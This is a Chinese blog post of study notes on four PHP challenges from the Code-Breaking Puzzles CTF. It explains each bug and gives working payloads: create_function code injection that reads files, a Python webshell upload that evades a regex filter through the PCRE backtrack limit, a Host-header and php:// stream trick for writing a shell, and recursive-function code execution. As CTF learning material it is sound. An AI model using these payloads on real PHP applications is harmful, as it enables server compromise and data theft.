代码审计Code-Breaking Puzzles学习记录

前言

Code-Breaking Puzzles是一场完全开放源代码的Web解密游戏,其包含但不限于PHP、Java、Node.js、Python等语言的代码审计知识。
p师傅的知识星球真是干货多多,刚刚加入就遇到这个,赶忙的学习了一波.

function PHP函数利用技巧
pcrewaf PHP正则特性
phpmagic PHP写文件技巧
phplimit PHP代码执行限制绕过

easy – function

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}
  • 先看正则表达式,用了3个模式修饰符,
    i:大小写不敏感
    s:.要匹配换行符
    D:$要匹配换行符
    匹配了以字母数字或下划线的字符串的,我们需要在开头或结尾加入某个字符来绕过正则且函数依然能调用

php里默认命名空间是,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

所以可以通过function_name这样的形式绕过正则
* 我们可以控制函数的第二个参数$arg,需要某个函数的第二个参数比较危险

PHP create_function()代码注入

payload

遍历目录

?action=create_function&arg=return 1;}var_dump(glob("/var/www/*"));//

http://51.158.75.42:8087/?action=create_function&arg=return 1;}var_dump(scandir("/var/www/"));//


获取flag

?action=create_function&arg=return 1;}readfile("/var/www/flag_h0w2execute_arb1trary_c0de");//

easy – pcrewaf

<?php
function is_php($data){
    return preg_match('/<?.*[(`;'?>'].*/is', $data);
}
if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
}

正则表达式匹配一个php的shell,这正则过滤很严格
要利用php的最大回溯次数来绕过
p师傅的PHP利用PCRE回溯次数限制绕过某些安全限制

php开发者的深悉正则(pcre)最大回溯/递归限制

payload

  • 利用brup进行文件上传先在本地写个html来传文件
<form enctype="multipart/form-data" action="http://51.158.75.42:8088/" method="POST">
    Send this file: <input name="file" type="file" />
    <input type="submit" value="Send File" />
</form>

随便上传一个文件,拦截后改一下

  • pyhton脚本
import requests
from io import BytesIO

files = {
    'file': BytesIO(b'<?php @eval($_GET[shell]);//' + b'a'*1000000)
    }
rep = requests.post('http://51.158.75.42:8088/index.php',files=files,
        allow_redirects=False) #关闭重定向
print(rep.headers)

easy – phpmagic

主要的源码

<?php
if(isset($_GET['read-source'])) {
    exit(show_source(__FILE__));
}

define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));

if(!is_dir(DATA_DIR)) {
    mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);

$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>
<?php 
if(!empty($_POST) && $domain):
    $command = sprintf("dig -t A -q %s", escapeshellarg($domain));
    $output = shell_exec($command);

    $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);

    $log_name = $_SERVER['SERVER_NAME'] . $log_name;
    if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
        file_put_contents($log_name, $output);
    }

    echo $output;
endif; ?>
  • $domainescapeshellarg过滤,无法利用shell_exec,又被htmlspecialchars过滤,<会被转换,无法直接写shell
  • 第23行$log_name$_SERVER['SERVER_NAME']$log_name拼接,$log_name是可控的
    在官方手册里

    $_SERVER['SERVER_NAME']是可控的,它的值是HTTP headers中的Host的值
  • phpinfo,只要在后缀名后加上/.,pathinfo就取不到后缀名,且可以正常写入.php之中。具体原因还不清楚.先放在这以后在看
    php & apache2 &操作系统之间的一些黑魔法
  • 只要是传filename的地方,基本都可以传协议流。而file_put_contents的第一个参数显然就是传filename的地方,可以用协议流

payload

Hostlog组成php协议,doamin为写入的shell的base64

easy – phplimit

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}

*(?R)递归的正则匹配,表达正则模式自身,PHP正则之递归匹配
,匹配的是一个str(str(str()))的形式.函数套函数不能有参数

payload

  • sessionid方法

session_start(),然后session_id()可以直接获得sessionid,然后就可以在cookie中的sessionid里写东西了
不过sessionid里只能有a-zA-Z0-9,(逗号)和-(减号)符号,可以通过hex2bin()来转换成可执行代码
先把要执行的shell转换为十六进制


* 代替getallheaders

原题为RCTF2018中的r-cursive,题目是Apache环境,用的getallheaders绕过,本题环境为nginx

http://51.158.75.42:8084/?1=phpinfo();&code=eval(implode(reset(get_defined_vars())));
#reset 指向数组的第一个单元
#implode 数组的值转化为字符串
  • 其他
code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

About The Author

发表评论

电子邮件地址不会被公开。 必填项已用*标注